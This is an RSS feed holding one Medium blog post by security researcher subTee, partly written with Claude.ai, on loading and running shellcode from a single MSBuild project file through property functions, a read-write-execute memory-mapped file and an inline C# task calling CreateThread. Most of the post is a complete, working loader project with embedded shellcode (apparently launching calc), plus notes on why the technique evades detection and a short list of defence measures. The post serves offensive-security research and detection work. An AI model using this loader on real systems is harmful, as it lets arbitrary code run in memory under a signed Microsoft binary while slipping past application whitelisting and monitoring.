<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by subTee on Medium]]></title>
        <description><![CDATA[Stories by subTee on Medium]]></description>
        <link>https://medium.com/@subtee?source=rss-26cb090e34a0------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*5qVdzKaZpL9vKWdM</url>
            <title>Stories by subTee on Medium</title>
            <link>https://medium.com/@subtee?source=rss-26cb090e34a0------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 27 Nov 2026 07:22:00 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@subtee/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com" rel="hub"/>
        <item>
            <title><![CDATA[MSBuild Experiments]]></title>
            <link>https://subtee.medium.com/msbuild-experiments-f789fd1761dc?source=rss-26cb090e34a0------2</link>
            <guid isPermaLink="false">https://medium.com/p/f789fd1761dc</guid>
            <dc:creator><![CDATA[subTee]]></dc:creator>
            <pubDate>Mon, 15 Dec 2025 21:43:50 GMT</pubDate>
            <atom:updated>2025-12-15T21:43:50.198Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/562/1*kmm9qrt0WMdWF6kFXFMJYA.png" /><figcaption>This book changed my life, and yours :-)</figcaption></figure><p>This morning I wanted to do some experiments, taking an older example of some code, and modifying it with a bit of help from Claude.ai</p><p>The situation I wanted to create is this. <br>Can I use a single MSbuild file that loads and execute a shellcode fragment. Using only PropertyFunctions?</p><p><a href="https://learn.microsoft.com/en-us/visualstudio/msbuild/property-functions?view=vs-2022">https://learn.microsoft.com/en-us/visualstudio/msbuild/property-functions?view=vs-2022</a></p><p>There is probably more here, but this worked ok, in a kind of hybrid mode.</p><p>The key for this to work, is unleashing the full capabilities of .NET within MSbuild.</p><p>MSBUILDENABLEALLPROPERTYFUNCTIONS=1</p><p>Being somewhat lazy. I just also asked Claude to write my blog too :) <br>As an experiment.</p><p>Far less typos and finished faster.</p><p>tl;dr using a couple different techniques we can load and execute shellcode from a single file, using MSBuild.</p><p>Mostly AI Generated explanation below.</p><h3>Executing Shellcode via MSBuild Property Functions</h3><h3>Overview</h3><p>MSBuild, Microsoft’s build automation platform, has a powerful feature called “Property Functions” that allows calling .NET Framework methods directly within XML build files. This blog post demonstrates an advanced technique combining memory-mapped files and inline tasks to execute arbitrary code.</p><h3>The Technique</h3><p>This approach leverages three key MSBuild capabilities:</p><h3>1. Property Functions for Memory-Mapped Files</h3><p>MSBuild property functions can instantiate and manipulate .NET objects. We create a memory-mapped file with Read-Write-Execute permissions:</p><pre>&lt;CreateMemoryMappedFile&gt;<br>  $([System.IO.MemoryMappedFiles.MemoryMappedFile]::CreateNew(<br>    $(MappedFileName), <br>    272,<br>    $([System.IO.MemoryMappedFiles.MemoryMappedFileAccess]::ReadWriteExecute)<br>  ))<br>&lt;/CreateMemoryMappedFile&gt;</pre><p>This creates a 272-byte shared memory region with executable permissions — a critical requirement for code execution.</p><h3>2. Writing Shellcode to Memory</h3><p>Base64-encoded shellcode is decoded and written to the memory-mapped file:</p><pre>&lt;WriteToMemoryMappedFile&gt;<br>  $([System.IO.MemoryMappedFiles.MemoryMappedFile]::OpenExisting(<br>    $(MappedFileName), <br>    $([System.IO.MemoryMappedFiles.MemoryMappedFileRights]::FullControl)<br>  ).CreateViewStream().Write(<br>    $([System.Convert]::FromBase64String($(Shellcode))), <br>    0, <br>    272<br>  ))<br>&lt;/WriteToMemoryMappedFile&gt;</pre><h3>3. Obtaining the Executable Memory Address</h3><p>The memory handle is retrieved and converted to a hexadecimal string:</p><pre>&lt;GetRWXIntPtrMemoryMappedFile&gt;<br>  $([System.IO.MemoryMappedFiles.MemoryMappedFile]::OpenExisting(<br>    $(MappedFileName), <br>    $([System.IO.MemoryMappedFiles.MemoryMappedFileRights]::FullControl)<br>  ).CreateViewStream(<br>    0, <br>    272, <br>    $([System.IO.MemoryMappedFiles.MemoryMappedFileAccess]::ReadWriteExecute)<br>  ).SafeMemoryMappedViewHandle.DangerousGetHandle().ToString(&quot;X&quot;))<br>&lt;/GetRWXIntPtrMemoryMappedFile&gt;</pre><p>This one-liner chains multiple method calls to extract the raw memory pointer.</p><h3>4. Creating a Thread with CodeTaskFactory</h3><p>Property functions alone cannot invoke unmanaged functions like CreateThread. MSBuild&#39;s CodeTaskFactory allows defining custom tasks with full C# code.</p><h4>Understanding Code Types: Fragment vs Class</h4><p>MSBuild inline tasks support two code types, but only one works for Win32 API calls:</p><p><strong>Type=”Fragment”</strong> — Limited to Method Body Code</p><pre>&lt;Code Type=&quot;Fragment&quot; Language=&quot;cs&quot;&gt;<br>  &lt;![CDATA[<br>  // Code inserted directly into Execute() method<br>  Log.LogMessage(&quot;Simple operations only&quot;);<br>  ThreadHandle = ShellcodeAddress.ToUpper();<br>  return true;<br>  ]]&gt;<br>&lt;/Code&gt;</pre><p>Fragment mode cannot declare:</p><ul><li>P/Invoke methods with [DllImport] attributes</li><li>Custom delegate types</li><li>Class-level fields or helper methods</li></ul><p><strong>Type=”Class”</strong> — Required for P/Invoke</p><pre>&lt;Code Type=&quot;Class&quot; Language=&quot;cs&quot;&gt;<br>  &lt;![CDATA[<br>  using System;<br>  using System.Runtime.InteropServices;<br>  <br>  public class CreateThreadTask : Task<br>  {<br>    // P/Invoke declarations - ONLY possible with Type=&quot;Class&quot;<br>    [DllImport(&quot;kernel32.dll&quot;)]<br>    static extern IntPtr LoadLibrary(string lpFileName);<br>    <br>    [DllImport(&quot;kernel32.dll&quot;)]<br>    static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);<br>    <br>    // Custom delegate - ONLY possible with Type=&quot;Class&quot;<br>    [UnmanagedFunctionPointer(CallingConvention.StdCall)]<br>    delegate IntPtr CreateThreadDelegate(<br>      IntPtr lpThreadAttributes,<br>      UIntPtr dwStackSize,<br>      IntPtr lpStartAddress,<br>      IntPtr lpParameter,<br>      uint dwCreationFlags,<br>      out uint lpThreadId<br>    );<br>    <br>    [Required]<br>    public string ShellcodeAddress { get; set; }<br>    <br>    [Output]<br>    public string ThreadHandle { get; set; }<br>    <br>    public override bool Execute()<br>    {<br>      // Load kernel32.dll dynamically<br>      IntPtr kernel32 = LoadLibrary(&quot;kernel32.dll&quot;);<br>      if (kernel32 == IntPtr.Zero)<br>      {<br>        Log.LogError(&quot;Failed to load kernel32.dll&quot;);<br>        return false;<br>      }<br>      <br>      // Resolve CreateThread address<br>      IntPtr createThreadAddr = GetProcAddress(kernel32, &quot;CreateThread&quot;);<br>      if (createThreadAddr == IntPtr.Zero)<br>      {<br>        Log.LogError(&quot;Failed to get CreateThread address&quot;);<br>        return false;<br>      }<br>      <br>      // Create managed delegate from function pointer<br>      var createThreadDelegate = (CreateThreadDelegate)Marshal.GetDelegateForFunctionPointer(<br>        createThreadAddr, <br>        typeof(CreateThreadDelegate)<br>      );<br>      <br>      // Parse hex string to IntPtr<br>      IntPtr shellcodePtr = new IntPtr(<br>        long.Parse(ShellcodeAddress, System.Globalization.NumberStyles.HexNumber)<br>      );<br>      <br>      // Execute CreateThread<br>      uint threadId;<br>      IntPtr hThread = createThreadDelegate(<br>        IntPtr.Zero,      // No security attributes<br>        UIntPtr.Zero,     // Default stack size<br>        shellcodePtr,     // Start address (our shellcode)<br>        IntPtr.Zero,      // No parameters<br>        0,                // Run immediately<br>        out threadId      // Receive thread ID<br>      );<br>      <br>      ThreadHandle = hThread.ToString(&quot;X&quot;);<br>      Log.LogMessage(MessageImportance.High, &quot;Thread Handle: 0x&quot; + ThreadHandle);<br>      Log.LogMessage(MessageImportance.High, &quot;Thread ID: &quot; + threadId.ToString());<br>      <br>      return true;<br>    }<br>  }<br>  ]]&gt;<br>&lt;/Code&gt;</pre><p><strong>Why Type=”Class” is Mandatory Here:</strong></p><p>The [DllImport] attribute and custom delegate declarations must exist at class scope, not within a method body. When you attempt to use Fragment mode with P/Invoke, MSBuild generates invalid C# code placing these declarations inside the Execute() method, causing compilation errors like &quot;Invalid token&quot; and &quot;Expected class, delegate, enum, interface, or struct.&quot;</p><p>For any Win32 API interop or complex marshaling scenarios, you must use Type=&quot;Class&quot;.</p><h3>Complete Execution Flow</h3><ol><li><strong>Environment Setup</strong>: Set MSBUILDENABLEALLPROPERTYFUNCTIONS=1</li><li><strong>Memory Allocation</strong>: Create RWX memory-mapped file</li><li><strong>Shellcode Injection</strong>: Write base64-decoded shellcode to memory</li><li><strong>Address Resolution</strong>: Extract memory pointer as hex string</li><li><strong>Thread Creation</strong>: Invoke CreateThread via inline C# task</li><li><strong>Execution</strong>: Shellcode runs in new thread context</li></ol><h3>Why This Works</h3><ol><li><strong>No Binary Drops</strong>: Everything executes in-memory through MSBuild.exe</li><li><strong>Signed Binary</strong>: MSBuild.exe is a legitimate Microsoft-signed executable</li><li><strong>Complex Detection</strong>: The technique splits execution across XML properties and inline C# code</li><li><strong>Built-in Functionality</strong>: Uses only features shipped with .NET Framework 4.0+</li></ol><h3>Defense Considerations</h3><ul><li>Monitor MSBuild execution outside build environments</li><li>Restrict MSBUILDENABLEALLPROPERTYFUNCTIONS environment variable</li><li>Implement application whitelisting policies</li><li>Analyze XML files for suspicious property functions and inline tasks</li><li>Detect memory-mapped files with execute permissions</li><li>Watch for CodeTaskFactory usage with P/Invoke patterns</li></ul><h3>Conclusion</h3><p>This technique showcases how extensible build systems can be repurposed for code execution. Understanding the distinction between Fragment and Class code types is crucial — Win32 API interop requires full class definitions with proper P/Invoke declarations.</p><p>The approach demonstrates that legitimate development tools, when combined creatively, can achieve sophisticated code execution without traditional malware artifacts.</p><p><strong>Credit</strong>: Original research by Casey (@_subTee)</p><p><em>This post demonstrates MSBuild capabilities. Use responsibly and only in authorized environments. Brush your teeth and floss too, also, consider eating less, excercising more, while we’re giving advice.</em></p><pre>&lt;Project ToolsVersion=&quot;4.0&quot; xmlns=&quot;http://schemas.microsoft.com/developer/msbuild/2003&quot;&gt;<br> &lt;!-- Call ANY .NET API --&gt;<br> &lt;!-- <br> <br>  Author: C , Twitter: @_subTee<br>   <br>  License: BSD 3-Clause<br> <br>  Full Working Details Here: https://www.youtube.com/watch?v=vj_rvLVpqg8<br>  <br> --&gt;<br> &lt;!--  set MSBUILDENABLEALLPROPERTYFUNCTIONS=1 --&gt;<br> &lt;!-- <br> <br> $env:MSBUILDENABLEALLPROPERTYFUNCTIONS = 1 <br> C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild.exe frankenstien.xml <br> <br> <br> I added a breakpoint prefix here for testing..<br><br> byte[] shellcode = new byte[273] {<br> 0xcc,0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,<br> 0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,<br> 0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,<br> 0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,<br> 0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,<br> 0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,<br> 0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,<br> 0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,<br> 0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,<br> 0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,<br> 0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,<br> 0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,<br> 0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,<br> 0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00,<br> 0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f,<br> 0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff,<br> 0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,<br> 0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c,<br> 0x63,0x00 };<br> <br> zPxIg+Tw6MAAAABBUUFQUFZIMNJLSJJSYEILUHHII1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgS<br> Real Calc<br> <br> /EiD5PDowAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdCLgIgAAABIhcB0Z0gB0FCLSBhEi0AgSQHQ41ZI/8lBizSISAHWTTHJSDHArEHByQ1BAcE44HXxTANMJAhFOdF12FhEi0AkSQHQZkGLDEhEi0AcSQHQQYsEiEgB0EFYQVheWVpBWEFZQVpIg+wgQVL/4FhBWVpIixLpV////11IugEAAAAAAAAASI2NAQEAAEG6MYtvh//Vu+AdKgpBuqaVvZ3/1UiDxCg8BnwKgPvgdQW7RxNyb2oAWUGJ2v/VY2FsYwA=<br><br> <br> --&gt;<br><br> &lt;UsingTask TaskName=&quot;CreateThreadTask&quot; TaskFactory=&quot;CodeTaskFactory&quot; AssemblyFile=&quot;$(MSBuildToolsPath)\Microsoft.Build.Tasks.v4.0.dll&quot;&gt;<br>  &lt;ParameterGroup&gt;<br>   &lt;ShellcodeAddress ParameterType=&quot;System.String&quot; Required=&quot;true&quot; /&gt;<br>   &lt;ThreadHandle ParameterType=&quot;System.String&quot; Output=&quot;true&quot; /&gt;<br>  &lt;/ParameterGroup&gt;<br>  &lt;Task&gt;<br>   &lt;Reference Include=&quot;System&quot; /&gt;<br>   &lt;Reference Include=&quot;System.Runtime.InteropServices&quot; /&gt;<br>   &lt;Code Type=&quot;Class&quot; Language=&quot;cs&quot;&gt;<br>    &lt;![CDATA[<br>    using System;<br>    using System.Runtime.InteropServices;<br>    using Microsoft.Build.Framework;<br>    using Microsoft.Build.Utilities;<br>    <br>    public class CreateThreadTask : Task<br>    {<br>     [DllImport(&quot;kernel32.dll&quot;, CharSet = CharSet.Ansi, SetLastError = true)]<br>     static extern IntPtr LoadLibrary(string lpFileName);<br>     <br>     [DllImport(&quot;kernel32.dll&quot;, CharSet = CharSet.Ansi, SetLastError = true)]<br>     static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);<br>     <br>     [UnmanagedFunctionPointer(CallingConvention.StdCall)]<br>     delegate IntPtr CreateThreadDelegate(<br>      IntPtr lpThreadAttributes,<br>      UIntPtr dwStackSize,<br>      IntPtr lpStartAddress,<br>      IntPtr lpParameter,<br>      uint dwCreationFlags,<br>      out uint lpThreadId<br>     );<br>     <br>     [Required]<br>     public string ShellcodeAddress { get; set; }<br>     <br>     [Output]<br>     public string ThreadHandle { get; set; }<br>     <br>     public override bool Execute()<br>     {<br>      IntPtr kernel32 = LoadLibrary(&quot;kernel32.dll&quot;);<br>      if (kernel32 == IntPtr.Zero)<br>      {<br>       Log.LogError(&quot;Failed to load kernel32.dll&quot;);<br>       return false;<br>      }<br>      <br>      IntPtr createThreadAddr = GetProcAddress(kernel32, &quot;CreateThread&quot;);<br>      if (createThreadAddr == IntPtr.Zero)<br>      {<br>       Log.LogError(&quot;Failed to get CreateThread address&quot;);<br>       return false;<br>      }<br>      <br>      var createThreadDelegate = (CreateThreadDelegate)Marshal.GetDelegateForFunctionPointer(<br>       createThreadAddr, <br>       typeof(CreateThreadDelegate)<br>      );<br>      <br>      IntPtr shellcodePtr = new IntPtr(long.Parse(ShellcodeAddress, System.Globalization.NumberStyles.HexNumber));<br>      <br>      uint threadId;<br>      IntPtr hThread = createThreadDelegate(<br>       IntPtr.Zero,<br>       UIntPtr.Zero,<br>       shellcodePtr,<br>       IntPtr.Zero,<br>       0,<br>       out threadId<br>      );<br>      <br>      ThreadHandle = hThread.ToString(&quot;X&quot;);<br>      Log.LogMessage(MessageImportance.High, &quot;Thread Handle: 0x&quot; + ThreadHandle);<br>      Log.LogMessage(MessageImportance.High, &quot;Thread ID: &quot; + threadId.ToString());<br>      <br>      return true;<br>     }<br>    }<br>    ]]&gt;<br>   &lt;/Code&gt;<br>  &lt;/Task&gt;<br> &lt;/UsingTask&gt;<br><br> &lt;Target Name=&quot;Hello&quot;&gt;<br>  &lt;Message Text=&quot;$([System.Reflection.Assembly]::Load(&#39;System.IO&#39;))&quot; /&gt;<br>  &lt;Message Text=&quot;$([System.Reflection.Assembly]::Load(&#39;System.IO.MemoryMappedFiles&#39;))&quot; /&gt;<br>  &lt;Message Text=&quot;$([System.Reflection.Assembly]::Load(&#39;System.Runtime.InteropServices&#39;))&quot; /&gt;<br>  <br>  &lt;PropertyGroup&gt;<br>   &lt;MappedFileName&gt;1c9360ac-dc0d-4cd8-bf32-c4380855b733&lt;/MappedFileName&gt;<br>   &lt;Shellcode&gt;zPxIg+Tw6MAAAABBUUFQUlFWSDHSZUiLUmBIi1IYSItSIEiLclBID7dKSk0xyUgxwKw8YXwCLCBBwckNQQHB4u1SQVFIi1Igi0I8SAHQi4CIAAAASIXAdGdIAdBQi0gYRItAIEkB0ONWSP/JQYs0iEgB1k0xyUgxwKxBwckNQQHBOOB18UwDTCQIRTnRddhYRItAJEkB0GZBiwxIRItAHEkB0EGLBIhIAdBBWEFYXllaQVhBWUFaSIPsIEFS/+BYQVlaSIsS6Vf///9dSLoBAAAAAAAAAEiNjQEBAABBujGLb4f/1bvgHSoKQbqmlb2d/9VIg8QoPAZ8CoD74HUFu0cTcm9qAFlBidr/1WNhbGMA&lt;/Shellcode&gt;<br>   &lt;CreateMemoryMappedFile&gt;$([System.IO.MemoryMappedFiles.MemoryMappedFile]::CreateNew($(MappedFileName), $([System.Int64]::Parse(272)),$([System.IO.MemoryMappedFiles.MemoryMappedFileAccess]::ReadWriteExecute)))&lt;/CreateMemoryMappedFile&gt;<br>   &lt;WriteToMemoryMappedFile&gt;$([System.IO.MemoryMappedFiles.MemoryMappedFile]::OpenExisting($(MappedFileName), $([System.IO.MemoryMappedFiles.MemoryMappedFileRights]::FullControl)).CreateViewStream().Write($([System.Convert]::FromBase64String($(Shellcode))), 0, 272))&lt;/WriteToMemoryMappedFile&gt;<br>   &lt;GetRWXIntPtrMemoryMappedFile&gt;$([System.IO.MemoryMappedFiles.MemoryMappedFile]::OpenExisting($(MappedFileName), $([System.IO.MemoryMappedFiles.MemoryMappedFileRights]::FullControl)).CreateViewStream($([System.Int64]::Parse(0)), $([System.Int64]::Parse(272)), $([System.IO.MemoryMappedFiles.MemoryMappedFileAccess]::ReadWriteExecute)).SafeMemoryMappedViewHandle.DangerousGetHandle().ToString(&quot;X&quot;))&lt;/GetRWXIntPtrMemoryMappedFile&gt;<br>   &lt;MSBuildPID&gt;$([System.Diagnostics.Process]::GetCurrentProcess().Id)&lt;/MSBuildPID&gt;<br>  &lt;/PropertyGroup&gt;<br>  <br>  &lt;Message Text=&quot;$(CreateMemoryMappedFile)&quot; /&gt;<br>  &lt;Message Text=&quot;Current MSBuild Process ID: $(MSBuildPID)&quot; Importance=&quot;high&quot; /&gt;<br>  &lt;Message Text=&quot;$([System.Console]::WriteLine(&#39;Attach Debugger&#39;))&quot; /&gt;<br>  &lt;Message Text=&quot;$([System.Console]::ReadLine())&quot; /&gt;<br>  &lt;Message Text=&quot;Shellcode Address: 0x$(GetRWXIntPtrMemoryMappedFile)&quot; Importance=&quot;high&quot; /&gt;<br>  <br>  &lt;CreateThreadTask ShellcodeAddress=&quot;$(GetRWXIntPtrMemoryMappedFile)&quot;&gt;<br>   &lt;Output TaskParameter=&quot;ThreadHandle&quot; PropertyName=&quot;ThreadHandleResult&quot; /&gt;<br>  &lt;/CreateThreadTask&gt;<br>  <br>  &lt;Message Importance=&quot;high&quot; Text=&quot;Thread created successfully! Handle: 0x$(ThreadHandleResult)&quot; /&gt;<br>  &lt;Message Text=&quot;$([System.Console]::ReadLine())&quot; /&gt;<br> &lt;/Target&gt;<br> <br>&lt;/Project&gt;</pre><p>Read more developer books, older books</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/667/0*exY7r2Bk4cBC7COe.jpg" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f789fd1761dc" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>